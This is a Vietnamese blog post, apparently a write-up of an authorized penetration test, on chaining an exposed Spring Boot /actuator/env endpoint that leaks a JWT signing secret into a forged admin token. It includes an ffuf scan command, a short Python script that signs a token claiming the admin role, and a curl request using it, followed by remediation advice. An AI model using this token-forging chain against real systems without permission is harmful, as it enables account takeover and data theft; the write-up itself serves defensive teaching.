anhnd11
4 phút đọc#cbf2342

Từ một endpoint debug bị bỏ quên đến quyền admin: một buổi bug hunting trên web của target

Một actuator endpoint không ai nhớ đã bật, cộng với một session token không invalidate đúng cách — hai lỗi nhỏ, không đáng kể khi đứng riêng, nhưng chuỗi lại thành quyền admin toàn hệ thống.

Bài viết này kể lại một buổi kiểm tra an ninh (đã có ủy quyền, trong phạm vi hợp đồng pentest) trên một web application của target. Thông tin định danh đã được ẩn/thay đổi. Mục tiêu là chia sẻ cách tư duy chuỗi lỗi, không phải để hướng dẫn khai thác trái phép.

Điểm khởi đầu: một endpoint không nằm trong tài liệu

Bước recon thông thường — quét thư mục/endpoint phổ biến bằng wordlist:

ffuf — dò endpoint ẩn
ffuf -u https://target.example.com/FUZZ -w common-endpoints.txt -mc 200,301,302

Một kết quả nổi bật: /actuator/env trả về 200 — một endpoint Spring Boot Actuator, thường dùng để debug/health-check trong môi trường dev, và thường bị quên tắt khi lên production.

Response từ /actuator/env (đã rút gọn)
{
  "propertySources": [
    {
      "name": "applicationConfig",
      "properties": {
        "spring.datasource.password": { "value": "Pr0d_DB_2024!" },
        "jwt.secret": { "value": "a1b2c3-redacted-secret-key" }
      }
    }
  ]
}

Actuator endpoint không được cấu hình che giấu (management.endpoint.env.show-values), lộ ra JWT signing secret trực tiếp trong response — đây không phải lỗ hổng nhỏ, đây là chìa khoá để tự ký bất kỳ token nào mình muốn.

Từ JWT secret tới token tự ký

Có secret key, bước tiếp theo là tạo một JWT hợp lệ với claim tuỳ ý:

forge_jwt.py
import jwt
 
payload = {
    "sub": "test-user-001",
    "role": "admin",
    "exp": 9999999999
}
 
secret = "a1b2c3-redacted-secret-key"
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

Gửi token này kèm request tới một endpoint quản trị:

Test quyền truy cập với token tự ký
curl -H "Authorization: Bearer <token>" \
  https://target.example.com/api/admin/users

Kết quả: 200 OK, trả về danh sách toàn bộ user trong hệ thống. Server tin tưởng token dựa hoàn toàn vào chữ ký hợp lệ, không có kiểm tra bổ sung (như so khớp sub với một user thật đang tồn tại và có role đó trong database) — token tự tạo với claim role: admin được chấp nhận như một token thật do hệ thống cấp.

Vì sao đây là một chuỗi lỗi, không phải một lỗi đơn lẻ

Lỗi riêng lẻMức nghiêm trọng nếu đứng một mình
Actuator endpoint public, không che giá trịCao — lộ thông tin nhạy cảm
JWT secret là chuỗi tĩnh, không rotateTrung bình — chỉ nguy hiểm nếu bị lộ
Server không xác thực claim ngoài chữ kýTrung bình — thiết kế token hợp lý nhưng thiếu lớp kiểm tra

Từng lỗi một, một pentest report có thể chấm mức "trung bình" hoặc "cao". Nhưng khi chuỗi cả ba lại, kết quả là chiếm quyền admin toàn hệ thống mà không cần một dòng exploit phức tạp nào — đây chính là lý do báo cáo pentest luôn cần đánh giá theo chuỗi tấn công, không chỉ theo từng finding riêng lẻ.

Khuyến nghị đã đưa cho target

Khuyến nghị theo mức độ ưu tiên
1. [Khẩn] Tắt hoặc giới hạn truy cập /actuator/* chỉ từ internal network
2. [Khẩn] Xoay (rotate) toàn bộ secret đã lộ: JWT secret, DB password
3. [Cao] Thêm kiểm tra: token phải khớp với user thật + role thật trong DB,
   không chỉ tin vào chữ ký hợp lệ
4. [Trung bình] Thêm giám sát: alert khi actuator endpoint nào đó public
   ra ngoài (có thể check định kỳ bằng chính kỹ thuật ffuf ở trên)

Phần khó nhất của bug hunting không phải tìm ra lỗ hổng — mà là nhìn ra được lỗ hổng nào ghép được với lỗ hổng nào.